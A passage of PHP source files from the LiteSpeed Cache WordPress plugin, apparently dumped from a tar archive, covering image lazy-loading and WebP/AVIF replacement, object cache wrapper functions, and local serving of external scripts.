$attrs['src'] ) ) { continue; } if ( false !== strpos( $attrs['src'], 'base64' ) || 0 === strpos( $attrs['src'], 'data:' ) ) { self::debug2( 'lazyload bypassed base64 img' ); continue; } if ( false !== strpos( $attrs['src'], '{' ) ) { self::debug2( 'image src has {} ' . $attrs['src'] ); continue; } // If the src contains VPI filename, then preload it. if ( ! Utility::str_hit_array( $attrs['src'], $vpi_files ) ) { continue; } self::debug2( 'VPI preload found and matched: ' . $attrs['src'] ); $this->_vpi_preload_list[] = $attrs['src']; // Add attributes fetchpriority="high" and decode="sync" // after WP 6.3.0 use: wp_img_tag_add_loading_optimization_attrs(). $new_html = []; $attrs[ 'fetchpriority' ] = 'high'; $attrs[ 'decoding' ] = 'sync'; // create html with new attributes. foreach ( $attrs as $k => $attr ) { $new_html[] = $k . '="' . $attr . '"'; } if ( $new_html ) { $vpi_fp_search[] = $match[1]; $vpi_fp_replace[] = implode( ' ', $new_html); } } // if VPI fetchpriority changes, do the replacement if ( $vpi_fp_search && $vpi_fp_replace ) { $this->content = str_replace( $vpi_fp_search, $vpi_fp_replace, $this->content ); } unset( $vpi_fp_search ); unset( $vpi_fp_replace ); } /** * Parse img src. * * @since 1.4 * @access private * @return array{0:array,1:array,2:array} All the src & related raw html list with placeholders. */ private function _parse_img() { /** * Exclude list. * * @since 1.5 * @since 2.7.1 Changed to array. */ $excludes = apply_filters( 'litespeed_media_lazy_img_excludes', $this->conf( Base::O_MEDIA_LAZY_EXC ) ); $cls_excludes = apply_filters( 'litespeed_media_lazy_img_cls_excludes', $this->conf( Base::O_MEDIA_LAZY_CLS_EXC ) ); $cls_excludes[] = 'skip-lazy'; // https://core.trac.wordpress.org/ticket/44427 $src_list = []; $html_list = []; $placeholder_list = []; $content = preg_replace( [ '#<!--.*-->#sU', '#<noscript([^>]*)>.*</noscript>#isU', '#<script([^>]*)>.*</script>#isU', // Remove script to avoid false matches and warnings, when image size detection is turned ON. ], '', $this->content ); /** * Exclude parent classes. * * @since 3.0 */ $parent_cls_exc = apply_filters( 'litespeed_media_lazy_img_parent_cls_excludes', $this->conf( Base::O_MEDIA_LAZY_PARENT_CLS_EXC ) ); if ( $parent_cls_exc ) { self::debug2( 'Lazyload Class excludes', $parent_cls_exc ); foreach ( $parent_cls_exc as $v ) { $content = preg_replace('#<(\w+) [^>]*class=(\'|")[^\'"]*' . preg_quote($v, '#') . '[^\'"]*\2[^>]*>.*</\1>#sU', '', $content); } } $add_missing_sizes = ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_MEDIA_ADD_MISSING_SIZES ) ) && apply_filters( 'litespeed_media_add_missing_sizes', true ); preg_match_all( '#<img\s+([^>]+)/?>#isU', $content, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { $attrs = Utility::parse_attr( $match[1] ); if ( empty( $attrs['src'] ) ) { continue; } /** * Add src validation to bypass base64 img src. * * @since 1.6 */ if ( false !== strpos( $attrs['src'], 'base64' ) || 0 === strpos( $attrs['src'], 'data:' ) ) { self::debug2( 'lazyload bypassed base64 img' ); continue; } self::debug2( 'lazyload found: ' . $attrs['src'] ); if ( ! empty( $attrs['data-no-lazy'] ) || ! empty( $attrs['data-skip-lazy'] ) || ! empty( $attrs['data-lazyloaded'] ) || ! empty( $attrs['data-src'] ) || ! empty( $attrs['data-srcset'] ) ) { self::debug2( 'bypassed' ); continue; } $hit = ! empty( $attrs['class'] ) ? Utility::str_hit_array( $attrs['class'], $cls_excludes ) : false; if ( $hit ) { self::debug2( 'lazyload image cls excludes [hit] ' . $hit ); continue; } /** * Exclude from lazyload by setting. * * @since 1.5 */ if ( $excludes && Utility::str_hit_array( $attrs['src'], $excludes ) ) { self::debug2( 'lazyload image exclude ' . $attrs['src'] ); continue; } /** * Excludes invalid image src from buddypress avatar crop. * * @see https://wordpress.org/support/topic/lazy-load-breaking-buddypress-upload-avatar-feature * @since 3.0 */ if ( false !== strpos( $attrs['src'], '{' ) ) { self::debug2( 'image src has {} ' . $attrs['src'] ); continue; } // to avoid multiple replacement. if ( in_array( $match[0], $html_list, true ) ) { continue; } // Add missing dimensions. if ( $add_missing_sizes ) { if ( empty( $attrs['width'] ) || 'auto' === $attrs['width'] || empty( $attrs['height'] ) || 'auto' === $attrs['height'] ) { self::debug( '⚠️ Missing sizes for image [src] ' . $attrs['src'] ); $dimensions = $this->_detect_dimensions( $attrs['src'] ); if ( $dimensions ) { $ori_width = $dimensions[0]; $ori_height = $dimensions[1]; // Calculate height based on width. if ( ! empty( $attrs['width'] ) && 'auto' !== $attrs['width'] ) { $ori_height = (int) ( ( $ori_height * (int) $attrs['width'] ) / max( 1, $ori_width ) ); } elseif ( ! empty( $attrs['height'] ) && 'auto' !== $attrs['height'] ) { $ori_width = (int) ( ( $ori_width * (int) $attrs['height'] ) / max( 1, $ori_height ) ); } // Remove existing width/height, then append new values $inner = Utility::remove_attr( $match[1], 'width' ); $inner = Utility::remove_attr( $inner, 'height' ); $new_html = '<img ' . $inner . ' width="' . (int) $ori_width . '" height="' . (int) $ori_height . '" />'; self::debug( 'Add missing sizes ' . $ori_width . 'x' . $ori_height . ' to ' . $attrs['src'] ); $this->content = str_replace( $match[0], $new_html, $this->content ); $match[0] = $new_html; $attrs['width'] = $ori_width; $attrs['height'] = $ori_height; } } } $placeholder = false; if ( ! empty( $attrs['width'] ) && 'auto' !== $attrs['width'] && ! empty( $attrs['height'] ) && 'auto' !== $attrs['height'] ) { $placeholder = (int) $attrs['width'] . 'x' . (int) $attrs['height']; } $src_list[] = $attrs['src']; $html_list[] = $match[0]; $placeholder_list[] = $placeholder; } return [ $src_list, $html_list, $placeholder_list ]; } /** * Detect the original sizes. * * @since 4.0 * * @param string $src Source URL/path. * @return array|false getimagesize array or false. */ private function _detect_dimensions( $src ) { $pathinfo = Utility::is_internal_file( $src ); if ( $pathinfo ) { $src = $pathinfo[0]; } elseif ( apply_filters( 'litespeed_media_ignore_remote_missing_sizes', false ) ) { return false; } if ( 0 === strpos( $src, '//' ) ) { $src = 'https:' . $src; } try { $sizes = getimagesize( $src ); } catch ( \Exception $e ) { return false; } if ( ! empty( $sizes[0] ) && ! empty( $sizes[1] ) ) { return $sizes; } return false; } /** * Parse iframe src. * * @since 1.4 * @access private * @return array All the related raw html list (full <iframe> tags). */ private function _parse_iframe() { $cls_excludes = apply_filters( 'litespeed_media_iframe_lazy_cls_excludes', $this->conf( Base::O_MEDIA_IFRAME_LAZY_CLS_EXC ) ); $cls_excludes[] = 'skip-lazy'; // https://core.trac.wordpress.org/ticket/44427 $html_list = []; $content = preg_replace( '#<!--.*-->#sU', '', $this->content ); /** * Exclude parent classes. * * @since 3.0 */ $parent_cls_exc = apply_filters( 'litespeed_media_iframe_lazy_parent_cls_excludes', $this->conf( Base::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC ) ); if ( $parent_cls_exc ) { self::debug2( 'Iframe Lazyload Class excludes', $parent_cls_exc ); foreach ( $parent_cls_exc as $v ) { $content = preg_replace('#<(\w+) [^>]*class=(\'|")[^\'"]*' . preg_quote($v, '#') . '[^\'"]*\2[^>]*>.*</\1>#sU', '', $content); } } preg_match_all( '#<iframe \s*([^>]+)></iframe>#isU', $content, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { $attrs = Utility::parse_attr( $match[1] ); if ( empty( $attrs['src'] ) ) { continue; } self::debug2( 'found iframe: ' . $attrs['src'] ); if ( ! empty( $attrs['data-no-lazy'] ) || ! empty( $attrs['data-skip-lazy'] ) || ! empty( $attrs['data-lazyloaded'] ) || ! empty( $attrs['data-src'] ) ) { self::debug2( 'bypassed' ); continue; } $hit = ! empty( $attrs['class'] ) ? Utility::str_hit_array( $attrs['class'], $cls_excludes ) : false; if ( $hit ) { self::debug2( 'iframe lazyload cls excludes [hit] ' . $hit ); continue; } if ( apply_filters( 'litespeed_iframe_lazyload_exc', false, $attrs['src'] ) ) { self::debug2( 'bypassed by filter' ); continue; } // to avoid multiple replacement. if ( in_array( $match[0], $html_list, true ) ) { continue; } $html_list[] = $match[0]; } return $html_list; } /** * Replace image src to webp/avif in buffer. * * @since 1.6.2 * @access private * * @param string $content HTML content. * @return string Modified content. */ private function _replace_buffer_img_webp( $content ) { /** * Added custom element & attribute support. * * @since 2.2.2 */ $webp_ele_to_check = $this->conf( Base::O_IMG_OPTM_WEBP_ATTR ); foreach ( $webp_ele_to_check as $v ) { if ( ! $v || false === strpos( $v, '.' ) ) { self::debug2( 'buffer_webp no . attribute ' . $v ); continue; } self::debug2( 'buffer_webp attribute ' . $v ); $v = explode( '.', $v ); $attr = preg_quote( $v[1], '#' ); if ( $v[0] ) { $pattern = '#<' . preg_quote( $v[0], '#' ) . '([^>]+)' . $attr . '=([\'"])(.+)\2#iU'; } else { $pattern = '# ' . $attr . '=([\'"])(.+)\1#iU'; } preg_match_all( $pattern, $content, $matches ); foreach ( $matches[ $v[0] ? 3 : 2 ] as $k2 => $url ) { // Check if is a DATA-URI. if ( false !== strpos( $url, 'data:image' ) ) { continue; } $url2 = $this->replace_webp( $url ); if ( ! $url2 ) { continue; } if ( $v[0] ) { $html_snippet = sprintf( '<' . $v[0] . '%1$s' . $v[1] . '=%2$s', $matches[1][ $k2 ], $matches[2][ $k2 ] . $url2 . $matches[2][ $k2 ] ); } else { $html_snippet = sprintf( ' ' . $v[1] . '=%1$s', $matches[1][ $k2 ] . $url2 . $matches[1][ $k2 ] ); } $content = str_replace( $matches[0][ $k2 ], $html_snippet, $content ); } } // parse srcset. // todo: should apply this to cdn too. if ( ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_IMG_OPTM_WEBP_REPLACE_SRCSET ) ) && $this->webp_support() ) { $content = Utility::srcset_replace( $content, [ $this, 'replace_webp' ] ); } // Replace background-image. if ( ( defined( 'LITESPEED_GUEST_OPTM' ) || $this->conf( Base::O_IMG_OPTM_WEBP ) ) && $this->webp_support() ) { $content = $this->replace_background_webp( $content ); } return $content; } /** * Replace background image in inline styles and JSON blobs. * * @since 4.0 * * @param string $content HTML content. * @return string Modified content. */ public function replace_background_webp( $content ) { self::debug2( 'Start replacing background WebP/AVIF.' ); // Handle Elementor's data-settings JSON encoded background-images. $content = $this->replace_urls_in_json( $content ); preg_match_all( '#url\(([^)]+)\)#iU', $content, $matches ); foreach ( $matches[1] as $k => $url ) { // Check if is a DATA-URI. if ( false !== strpos( $url, 'data:image' ) ) { continue; } /** * Support quotes in src `background-image: url('src')`. * * @since 2.9.3 */ $url = trim( $url, '\'"' ); // Fix Elementor's Slideshow unusual background images like style="background-image: url("https://xxxx.png");" if ( 0 === strpos( $url, '"' ) && '"' === substr( $url, -6 ) ) { $url = substr( $url, 6, -6 ); } $url2 = $this->replace_webp( $url ); if ( ! $url2 ) { continue; } $html_snippet = str_replace( $url, $url2, $matches[0][ $k ] ); $content = str_replace( $matches[0][ $k ], $html_snippet, $content ); } return $content; } /** * Replace images in json data settings attributes. * * @since 6.2 * * @param string $content HTML content to scan and modify. * @return string Modified content with replaced URLs inside JSON attributes. */ public function replace_urls_in_json( $content ) { $pattern = '/data-settings="(.*?)"/i'; $parent_class = $this; preg_match_all( $pattern, $content, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { // Check if the string contains HTML entities. $is_encoded = preg_match( '/"|<|>|&|'/', $match[1] ); // Decode HTML entities in the JSON string. $json_string = html_entity_decode( $match[1] ); $json_data = \json_decode( $json_string, true ); if ( JSON_ERROR_NONE === json_last_error() && is_array( $json_data ) ) { $did_webp_replace = false; array_walk_recursive( $json_data, /** * Replace URLs in JSON data recursively. * * @param mixed $item Value (modified in place). * @param string $key Array key. */ function ( &$item, $key ) use ( &$did_webp_replace, $parent_class ) { if ( 'url' === $key ) { $item_image = $parent_class->replace_webp( $item ); if ( $item_image ) { $item = $item_image; $did_webp_replace = true; } } } ); if ( $did_webp_replace ) { // Re-encode the modified array back to a JSON string. $new_json_string = wp_json_encode( $json_data ); // Re-encode the JSON string to HTML entities only if it was originally encoded. if ( $is_encoded ) { $new_json_string = htmlspecialchars( $new_json_string, ENT_QUOTES | 0 ); // ENT_HTML401 for PHP>=5.4. } // Replace the old JSON string in the content with the new, modified JSON string. $content = str_replace( $match[1], $new_json_string, $content ); } } } return $content; } /** * Replace internal image src to webp or avif. * * @since 1.6.2 * @access public * * @param string $url Image URL. * @return string|false Replaced URL or false if not applicable. */ public function replace_webp( $url ) { if ( ! $this->webp_support() ) { self::debug2( 'No next generation format chosen in setting, bypassed' ); return false; } // Parse extension from URL path. $url_path = wp_parse_url( $url, PHP_URL_PATH ); $postfix = $url_path ? strtolower( pathinfo( $url_path, PATHINFO_EXTENSION ) ) : ''; // Only process image formats that can be converted to WebP/AVIF. if ( ! in_array( $postfix, [ 'jpg', 'jpeg', 'png', 'gif' ], true ) ) { self::debug2( 'not convertible format, bypassed' ); return false; } self::debug2( $this->_sys_format . ' replacing: ' . substr( $url, 0, 200 ) . ' [.' . $postfix . ']' ); /** * WebP/AVIF API hook. * NOTE: As $url may contain query strings, check filters which may parse_url before appending format. * * @since 2.9.5 * @see #751737 - API docs for WebP generation */ $ori_check = apply_filters( 'litespeed_media_check_ori', Utility::is_internal_file( $url ), $url ); if ( $ori_check ) { // check if has webp/avif file. $has_next = apply_filters( 'litespeed_media_check_webp', Utility::is_internal_file( $url, $this->_sys_format ), $url ); if ( $has_next ) { $url .= '.' . $this->_sys_format; } else { self::debug2( '-no WebP or AVIF file, bypassed' ); return false; } } else { self::debug2( '-no file, bypassed' ); return false; } self::debug2( '- replaced to: ' . $url ); return $url; } /** * Hook to wp_get_attachment_image_src. * * @since 1.6.2 * @access public * * @param array $img The URL, width, height array. * @return array */ public function webp_attach_img_src( $img ) { self::debug2( 'changing attach src: ' . $img[0] ); $url = $img ? $this->replace_webp( $img[0] ) : false; if ( $url ) { $img[0] = $url; } return $img; } /** * Try to replace img url. * * @since 1.6.2 * @access public * * @param string $url Image URL. * @return string */ public function webp_url( $url ) { $url2 = $url ? $this->replace_webp( $url ) : false; if ( $url2 ) { $url = $url2; } return $url; } /** * Hook to replace WP responsive images. * * @since 1.6.2 * @access public * * @param array $srcs Srcset array. * @return array */ public function webp_srcset( $srcs ) { if ( $srcs ) { foreach ( $srcs as $w => $data ) { $url = $this->replace_webp( $data['url'] ); if ( ! $url ) { continue; } $srcs[ $w ]['url'] = $url; } } return $srcs; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/object.lib.php����������������������������������������������������������0000644�����������������00000034250�15233526476�0014600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Object Cache Library * * @since 1.8 * @package LiteSpeed */ defined( 'WPINC' ) || exit(); if (!function_exists('litespeed_exception_handler')) { /** * Handle exception * * Converts PHP errors into exceptions for better error handling. * * @since 1.8 * @access public * @param int $errno Error level. * @param string $errstr Error message. * @param string $errfile File where the error occurred. * @param int $errline Line number where the error occurred. * @throws \ErrorException Error msg. */ function litespeed_exception_handler( $errno, $errstr, $errfile, $errline ) { throw new \ErrorException( esc_html( $errstr ), 0, esc_html( $errno ), esc_html( $errfile ), esc_html( $errline ) ); } } if ( ! function_exists( 'litespeed_oc_disable_ext_cache' ) ) { /** * Disable external object cache flag. * * When called, WP's own set_transient/get_transient will use wp_options * table instead of the (unavailable) OC backend. * * @since 7.8.0.1 * @access public */ function litespeed_oc_disable_ext_cache() { wp_using_ext_object_cache( false ); } } require_once __DIR__ . '/object-cache.cls.php'; require_once __DIR__ . '/object-cache-wp.cls.php'; /** * Sets up Object Cache Global and assigns it. * * Initializes the global object cache instance. * * @since 1.8 * @access public * @global WP_Object_Cache $wp_object_cache Object cache global instance. */ function wp_cache_init() { // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited $GLOBALS['wp_object_cache'] = WP_Object_Cache::get_instance(); // If OC backend is unavailable, tell WP so transients fall back to wp_options. // IMPORTANT: Cannot call wp_using_ext_object_cache(false) here directly — on // multisite, wp_start_object_cache() is called a second time (ms-settings.php) // and would try to load cache.php, causing "Cannot redeclare wp_cache_init()". // Defer until after all wp_start_object_cache() calls are done. if ( defined( 'LITESPEED_OC_FAILURE' ) ) { add_action( 'muplugins_loaded', 'litespeed_oc_disable_ext_cache', -999 ); } } /** * Adds data to the cache, if the cache key doesn't already exist. * * @since 1.8 * @access public * @see WP_Object_Cache::add() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The data to add to the cache. * @param string $group Optional. The group to add the cache to. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When the cache data should expire, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ function wp_cache_add( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::add_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add_multiple( $data, $group, $expire ); } /** * Replaces the contents of the cache with new data. * * @since 1.8 * @access public * @see WP_Object_Cache::replace() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache data that should be replaced. * @param mixed $data The new data to store in the cache. * @param string $group Optional. The group for the cache data that should be replaced. * Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->replace( $key, $data, $group, (int) $expire ); } /** * Saves the data to the cache. * * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false on failure. */ function wp_cache_set( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set( $key, $data, $group, (int) $expire ); } /** * Sets multiple values to the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::set_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false on failure. */ function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set_multiple( $data, $group, $expire ); } /** * Retrieves the cache contents from the cache by key and group. * * @since 1.8 * @access public * @see WP_Object_Cache::get() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ function wp_cache_get( $key, $group = '', $force = false, &$found = null ) { global $wp_object_cache; return $wp_object_cache->get( $key, $group, $force, $found ); } /** * Retrieves multiple values from the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::get_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { global $wp_object_cache; return $wp_object_cache->get_multiple( $keys, $group, $force ); } /** * Removes the cache contents matching key and group. * * @since 1.8 * @access public * @see WP_Object_Cache::delete() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function wp_cache_delete( $key, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete( $key, $group ); } /** * Deletes multiple values from the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::delete_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache to deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ function wp_cache_delete_multiple( array $keys, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete_multiple( $keys, $group ); } /** * Increments numeric cache item's value. * * @since 1.8 * @access public * @see WP_Object_Cache::incr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache contents that should be incremented. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_incr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->incr( $key, $offset, $group ); } /** * Decrements numeric cache item's value. * * @since 1.8 * @access public * @see WP_Object_Cache::decr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_decr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->decr( $key, $offset, $group ); } /** * Removes all cache items. * * @since 1.8 * @access public * @see WP_Object_Cache::flush() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @return bool True on success, false on failure. */ function wp_cache_flush() { global $wp_object_cache; return $wp_object_cache->flush(); } /** * Removes all cache items from the in-memory runtime cache. * * @since 5.4 * @access public * @see WP_Object_Cache::flush_runtime() * * @return bool True on success, false on failure. */ function wp_cache_flush_runtime() { global $wp_object_cache; return $wp_object_cache->flush_runtime(); } /** * Removes all cache items in a group, if the object cache implementation supports it. * * Before calling this function, always check for group flushing support using the * `wp_cache_supports( 'flush_group' )` function. * * @since 5.4 * @access public * @see WP_Object_Cache::flush_group() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string $group Name of group to remove from cache. * @return bool True if group was flushed, false otherwise. */ function wp_cache_flush_group( $group ) { global $wp_object_cache; return $wp_object_cache->flush_group( $group ); } /** * Determines whether the object cache implementation supports a particular feature. * * @since 5.4 * @access public * * @param string $feature Name of the feature to check for. Possible values include: * 'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple', * 'flush_runtime', 'flush_group'. * @return bool True if the feature is supported, false otherwise. */ function wp_cache_supports( $feature ) { switch ( $feature ) { case 'add_multiple': case 'set_multiple': case 'get_multiple': case 'delete_multiple': case 'flush_runtime': return true; case 'flush_group': default: return false; } } /** * Closes the cache. * * This function has ceased to do anything since WordPress 2.5. The * functionality was removed along with the rest of the persistent cache. * * This does not mean that plugins can't implement this function when they need * to make sure that the cache is cleaned up after WordPress no longer needs it. * * @since 1.8 * @access public * * @return true Always returns true. */ function wp_cache_close() { return true; } /** * Adds a group or set of groups to the list of global groups. * * @since 1.8 * @access public * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_global_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_global_groups( $groups ); } /** * Adds a group or set of groups to the list of non-persistent groups. * * @since 1.8 * @access public * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_non_persistent_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_non_persistent_groups( $groups ); } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 1.8 * @access public * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ function wp_cache_switch_to_blog( $blog_id ) { global $wp_object_cache; $wp_object_cache->switch_to_blog( $blog_id ); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/localization.cls.php����������������������������������������������������0000644�����������������00000010033�15233526476�0016026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The localization class. * * @since 3.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Localization - serve external resources locally. * * @since 3.3 */ class Localization extends Base { const LOG_TAG = '🛍️'; /** * Init optimizer * * @since 3.0 * @access protected */ public function init() { add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 23 ); // After page optm } /** * Localize Resources * * @since 3.3 * * @param string $uri Base64-encoded URL. */ public function serve_static( $uri ) { $url = base64_decode( $uri ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( ! $this->conf( self::O_OPTM_LOCALIZE ) ) { exit( 'Not supported' ); } $match = false; $domains = $this->conf( self::O_OPTM_LOCALIZE_DOMAINS ); foreach ( $domains as $v ) { if ( ! $v || 0 === strpos( $v, '#' ) ) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[1] ) ) { $type = strtolower( $v[0] ); $domain = $v[1]; } } if ( 0 !== strpos( $domain, 'https://' ) ) { continue; } if ( 'js' !== $type ) { continue; } if ( $url !== $domain ) { continue; } $match = true; break; } if ( ! $match ) { exit( 'Not supported2' ); } header( 'Content-Type: application/javascript' ); // Generate $this->_maybe_mk_cache_folder( 'localres' ); $file = $this->_realpath( $url ); self::debug( 'localize [url] ' . $url ); $response = wp_safe_remote_get( $url, [ 'timeout' => 180, 'stream' => true, 'filename' => $file, ] ); // Parse response data if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); if ( file_exists( $file ) ) { wp_delete_file( $file ); } self::debug( 'failed to get: ' . $error_message ); wp_safe_redirect( $url ); exit(); } $url = $this->_rewrite( $url ); wp_safe_redirect( $url ); exit(); } /** * Get the final URL of local avatar * * @since 4.5 * * @param string $url Original external URL. * @return string Rewritten local URL. */ private function _rewrite( $url ) { return LITESPEED_STATIC_URL . '/localres/' . $this->_filepath( $url ); } /** * Generate realpath of the cache file * * @since 4.5 * @access private * * @param string $url Original external URL. * @return string Absolute file path. */ private function _realpath( $url ) { return LITESPEED_STATIC_DIR . '/localres/' . $this->_filepath( $url ); } /** * Get filepath * * @since 4.5 * * @param string $url Original external URL. * @return string Relative file path. */ private function _filepath( $url ) { $filename = md5( $url ) . '.js'; if ( is_multisite() ) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Localize JS/Fonts * * @since 3.3 * @access public * * @param string $content Page HTML content. * @return string Modified content with localized URLs. */ public function finalize( $content ) { if ( is_admin() ) { return $content; } if ( ! $this->conf( self::O_OPTM_LOCALIZE ) ) { return $content; } $domains = $this->conf( self::O_OPTM_LOCALIZE_DOMAINS ); if ( ! $domains ) { return $content; } foreach ( $domains as $v ) { if ( ! $v || 0 === strpos( $v, '#' ) ) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[1] ) ) { $type = strtolower( $v[0] ); $domain = $v[1]; } } if ( 0 !== strpos( $domain, 'https://' ) ) { continue; } if ( 'js' !== $type ) { continue; } $content = str_replace( $domain, LITESPEED_STATIC_URL . '/localres/' . base64_encode( $domain ), $content ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } return $content; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/root.cls.php������������������������������������������������������������0000644�����������������00000034447�15233526476�0014340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The abstract instance * * @since 3.0 */ namespace LiteSpeed; defined('WPINC') || exit(); abstract class Root { const CONF_FILE = '.litespeed_conf.dat'; // Instance set private static $_instances; private static $_options = array(); private static $_const_options = array(); private static $_primary_options = array(); private static $_network_options = array(); /** * Check if need to separate ccss for mobile * * @since 4.7 * @access protected */ protected function _separate_mobile() { return (wp_is_mobile() || apply_filters('litespeed_is_mobile', false)) && $this->conf(Base::O_CACHE_MOBILE); } /** * Log an error message * * @since 7.0 */ public static function debugErr( $msg, $backtrace_limit = false ) { $msg = '❌ ' . $msg; self::debug($msg, $backtrace_limit); } /** * Log a debug message. * * @since 4.4 * @access public */ public static function debug( $msg, $backtrace_limit = false ) { if (!defined('LSCWP_LOG')) { return; } if (defined('static::LOG_TAG')) { $msg = static::LOG_TAG . ' ' . $msg; } Debug2::debug($msg, $backtrace_limit); } /** * Log an advanced debug message. * * @since 4.4 * @access public */ public static function debug2( $msg, $backtrace_limit = 